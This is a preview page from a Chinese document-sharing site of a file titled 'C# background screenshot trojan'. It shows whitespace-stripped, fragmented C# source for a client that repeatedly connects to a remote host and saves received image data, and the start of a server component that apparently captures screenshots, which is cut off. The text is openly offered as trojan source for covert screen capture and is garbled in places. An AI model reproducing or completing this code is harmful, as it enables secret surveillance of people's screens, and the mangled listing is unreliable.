c#后台截屏木马

c#后台截屏木马

ID:33329915

大小:48.50 KB

页数:8页

时间:2019-02-24

c#后台截屏木马_第1页
c#后台截屏木马_第2页
c#后台截屏木马_第3页
c#后台截屏木马_第4页
c#后台截屏木马_第5页
资源描述:

《c#后台截屏木马》由会员上传分享,免费在线阅读,更多相关内容在应用文档-天天文库

1、usingSystem;usingSystem.Collections.Generic;usingSystem.Text;usingSystem.Net.Sockets;usingSystem.Net;usingSystem.Threading;usingSystem.IO;namespacesocketDemo{classClient{TcpClientclient;longfileLength;BinaryReaderreader;byte[]data=newbyte[8192];//准备工作pu

2、blicClient(IPAddressserverIp){intport=6000;intport1;int.TryParse(DateTime.Now.ToShortDateString().Replace("-","").Substring(2),outport1);client=newTcpClient();client.Connect(serverIp,port);Console.WriteLine("连上了");NetworkStreamstream=client.GetStream();

3、reader=newBinaryReader(stream);}//接收数据publicvoidrecv(){FileStreamfs=File.Create(DateTime.Now.Ticks+".gif");byte[]fileLengthSrc=newbyte[8];try{reader.Read(fileLengthSrc,0,8);longfileLength=getNum(fileLengthSrc);longreds=0;//已经读取字节数//开始传输while(reds

4、ngth){if(fileLength-reds>data.Length){intred=reader.Read(data,0,data.Length);if(red==0)break;fs.Write(data,0,red);reds+=red;}elseif(fileLength-reds0){intred=reader.Read(data,0,data.Length);if(red==0)break;fs.Write(data,0,re

5、d);reds+=red;}Thread.Sleep(10);}}catch(Exceptionex){Console.WriteLine("数据传输异常或者服务端已离线:"+ex.Message);}fs.Flush();fs.Close();reader.Close();client.Close();}staticlonggetNum(byte[]bytes)//二进制转十进制(我帖子里留言那位兄弟滴代码很牛x^_^){//long型数据类型为字节longnum=0;intn=Math.Min(b

6、ytes.Length,4)-1;for(inti=n;i>-1;i--)num=(num<<8)

7、bytes[i];//num=(num<<8)+bytes[i];returnnum;}}classProgram{staticvoidMain(string[]args){while(true){//args=newstring[]{"192.168.1.121"};IPAddressserverIp=newIPAddress(newbyte[]{127,0,0,1});//IPAddress.Try

8、Parse("127.0.0.1",outserverIp);Clientc=newClient(serverIp);c.recv();Console.WriteLine("文件接收完成...");Thread.Sleep(5000);//Console.ReadKey();}}}}usingSystem;usingSystem.Collections.Generic;usingSystem.Text;usingSystem.Net;usingSystem.Net.Sockets;usingSyste

9、m.Threading;usingSystem.IO;usingSystem.Drawing;usingSystem.Windows.Forms;namespacesocketDemoServer{//客户端线程classServerToClient{TcpClientclientSocket;BinaryWriterwriter;publicServerToClient(TcpClientclient){clientSocket=client;Netw

当前文档最多预览五页,下载文档查看全文

此文档下载收益归作者所有

当前文档最多预览五页,下载文档查看全文
温馨提示:
1. 部分包含数学公式或PPT动画的文件,查看预览时可能会显示错乱或异常,文件下载后无此问题,请放心下载。
2. 本文档由用户上传,版权归属用户,天天文库负责整理代发布。如果您对本文档版权有争议请及时联系客服。
3. 下载前请仔细阅读文档内容,确认文档内容符合您的需求后进行下载,若出现内容与标题不符可向本站投诉处理。
4. 下载文档时可能由于网络波动等原因无法下载或下载错误,付费完成后未能成功下载的用户请联系客服处理。